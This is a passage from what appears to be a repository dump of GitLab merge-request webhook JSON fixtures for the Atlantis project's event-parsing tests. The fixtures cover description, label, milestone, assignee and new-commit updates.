\"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [\n      255,\n      19\n    ],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [\n    {\n      \"id\": 340,\n      \"title\": \"aaaa\",\n      \"color\": \"#0033CC\",\n      \"project_id\": 910,\n      \"created_at\": \"2020-12-08 04:05:34 UTC\",\n      \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n      \"template\": false,\n      \"description\": null,\n      \"type\": \"ProjectLabel\",\n      \"group_id\": null\n    }\n  ],\n  \"changes\": {\n    \"assignees\": {\n      \"previous\": [],\n      \"current\": [\n        {\n          \"name\": \"Quan Hoang\",\n          \"username\": \"quan.hoang\",\n          \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n          \"email\": \"hdquan@pm.me\"\n        }\n      ]\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  },\n  \"assignees\": [\n    {\n      \"name\": \"Quan Hoang\",\n      \"username\": \"quan.hoang\",\n      \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n      \"email\": \"hdquan@pm.me\"\n    }\n  ]\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-description.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:05:16 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file\",\n    \"updated_at\": \"2020-12-08 04:05:16 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [],\n  \"changes\": {\n    \"description\": {\n      \"previous\": \"description\",\n      \"current\": \"New description\"\n    },\n    \"last_edited_at\": {\n      \"previous\": \"2020-12-08 04:04:56 UTC\",\n      \"current\": \"2020-12-08 04:05:16 UTC\"\n    },\n    \"updated_at\": {\n      \"previous\": \"2020-12-08 04:04:56 UTC\",\n      \"current\": \"2020-12-08 04:05:16 UTC\"\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-labels.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:05:16 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file\",\n    \"updated_at\": \"2020-12-08 04:05:16 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [\n    {\n      \"id\": 340,\n      \"title\": \"aaaa\",\n      \"color\": \"#0033CC\",\n      \"project_id\": 910,\n      \"created_at\": \"2020-12-08 04:05:34 UTC\",\n      \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n      \"template\": false,\n      \"description\": null,\n      \"type\": \"ProjectLabel\",\n      \"group_id\": null\n    }\n  ],\n  \"changes\": {\n    \"labels\": {\n      \"previous\": [],\n      \"current\": [\n        {\n          \"id\": 340,\n          \"title\": \"aaaa\",\n          \"color\": \"#0033CC\",\n          \"project_id\": 910,\n          \"created_at\": \"2020-12-08 04:05:34 UTC\",\n          \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n          \"template\": false,\n          \"description\": null,\n          \"type\": \"ProjectLabel\",\n          \"group_id\": null\n        }\n      ]\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-milestone.json",
    "content": "{\n    \"object_kind\": \"merge_request\",\n    \"event_type\": \"merge_request\",\n    \"user\": {\n      \"id\": 2,\n      \"name\": \"Simon Heather\",\n      \"username\": \"sheather\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n      \"email\": \"[REDACTED]\"\n    },\n    \"project\": {\n      \"id\": 2,\n      \"name\": \"test\",\n      \"description\": null,\n      \"web_url\": \"https://gitlab.lan/sheather/test\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n      \"namespace\": \"Simon Heather\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"sheather/test\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n    },\n    \"object_attributes\": {\n      \"assignee_id\": null,\n      \"author_id\": 2,\n      \"created_at\": \"2023-07-02 15:59:31 UTC\",\n      \"description\": \"\",\n      \"head_pipeline_id\": 8,\n      \"id\": 3,\n      \"iid\": 3,\n      \"last_edited_at\": null,\n      \"last_edited_by_id\": null,\n      \"merge_commit_sha\": null,\n      \"merge_error\": null,\n      \"merge_params\": {\n        \"force_remove_source_branch\": \"1\"\n      },\n      \"merge_status\": \"can_be_merged\",\n      \"merge_user_id\": null,\n      \"merge_when_pipeline_succeeds\": false,\n      \"milestone_id\": 1,\n      \"source_branch\": \"sheather-cloudfront-patch-92417\",\n      \"source_project_id\": 2,\n      \"state_id\": 1,\n      \"target_branch\": \"cloudfront\",\n      \"target_project_id\": 2,\n      \"time_estimate\": 0,\n      \"title\": \"Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf\",\n      \"updated_at\": \"2023-07-02 16:50:42 UTC\",\n      \"updated_by_id\": 2,\n      \"url\": \"https://gitlab.lan/sheather/test/-/merge_requests/3\",\n      \"source\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"target\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"last_commit\": {\n        \"id\": \"386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"message\": \"Update main.tf\",\n        \"title\": \"Update main.tf\",\n        \"timestamp\": \"2023-07-02T16:33:22+00:00\",\n        \"url\": \"https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"author\": {\n          \"name\": \"Simon Heather\",\n          \"email\": \"[REDACTED]\"\n        }\n      },\n      \"work_in_progress\": false,\n      \"total_time_spent\": 0,\n      \"time_change\": 0,\n      \"human_total_time_spent\": null,\n      \"human_time_change\": null,\n      \"human_time_estimate\": null,\n      \"assignee_ids\": [\n  \n      ],\n      \"reviewer_ids\": [\n        2\n      ],\n      \"labels\": [\n  \n      ],\n      \"state\": \"opened\",\n      \"blocking_discussions_resolved\": true,\n      \"first_contribution\": false,\n      \"detailed_merge_status\": \"ci_must_pass\",\n      \"action\": \"update\"\n    },\n    \"labels\": [\n  \n    ],\n    \"changes\": {\n      \"milestone_id\": {\n        \"previous\": null,\n        \"current\": 1\n      },\n      \"updated_at\": {\n        \"previous\": \"2023-07-02 16:49:20 UTC\",\n        \"current\": \"2023-07-02 16:50:42 UTC\"\n      }\n    },\n    \"repository\": {\n      \"name\": \"test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"description\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\"\n    },\n    \"reviewers\": [\n      {\n        \"id\": 2,\n        \"name\": \"Simon Heather\",\n        \"username\": \"sheather\",\n        \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n        \"email\": \"[REDACTED]\"\n      }\n    ]\n  }\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-mixed.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": 255,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description aaaa\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:11:57 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file (another time)\",\n    \"updated_at\": \"2020-12-08 04:11:57 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"message\": \"Add abc.txt\\n\",\n      \"title\": \"Add abc.txt\",\n      \"timestamp\": \"2020-12-08T11:03:29+07:00\",\n      \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7\",\n      \"author\": {\n        \"name\": \"Quan Hoang\",\n        \"email\": \"hdquan@pm.me\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"assignee_ids\": [\n      255\n    ],\n    \"state\": \"opened\",\n    \"action\": \"update\"\n  },\n  \"labels\": [\n    {\n      \"id\": 340,\n      \"title\": \"aaaa\",\n      \"color\": \"#0033CC\",\n      \"project_id\": 910,\n      \"created_at\": \"2020-12-08 04:05:34 UTC\",\n      \"updated_at\": \"2020-12-08 04:05:34 UTC\",\n      \"template\": false,\n      \"description\": null,\n      \"type\": \"ProjectLabel\",\n      \"group_id\": null\n    }\n  ],\n  \"changes\": {\n    \"description\": {\n      \"previous\": \"New description\",\n      \"current\": \"New description aaaa\"\n    },\n    \"last_edited_at\": {\n      \"previous\": \"2020-12-08 04:05:16 UTC\",\n      \"current\": \"2020-12-08 04:11:57 UTC\"\n    },\n    \"title\": {\n      \"previous\": \"Add new file\",\n      \"current\": \"Add new file (another time)\"\n    },\n    \"updated_at\": {\n      \"previous\": \"2020-12-08 04:07:34 UTC\",\n      \"current\": \"2020-12-08 04:11:57 UTC\"\n    },\n    \"assignees\": {\n      \"previous\": [\n        {\n          \"name\": \"Quan Hoang\",\n          \"username\": \"quan.hoang\",\n          \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n          \"email\": \"hdquan@pm.me\"\n        }\n      ],\n      \"current\": [\n        {\n          \"name\": \"Quan Hoang\",\n          \"username\": \"quan.hoang\",\n          \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n          \"email\": \"hdquan@pm.me\"\n        }\n      ]\n    }\n  },\n  \"repository\": {\n    \"name\": \"Test Gitlab Webhook\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\"\n  },\n  \"assignees\": [\n    {\n      \"name\": \"Quan Hoang\",\n      \"username\": \"quan.hoang\",\n      \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n      \"email\": \"hdquan@pm.me\"\n    }\n  ]\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-new-commit.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": 255,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description aaaa\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:11:57 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"unchecked\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file (another time)\",\n    \"updated_at\": \"2020-12-08 04:15:39 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan 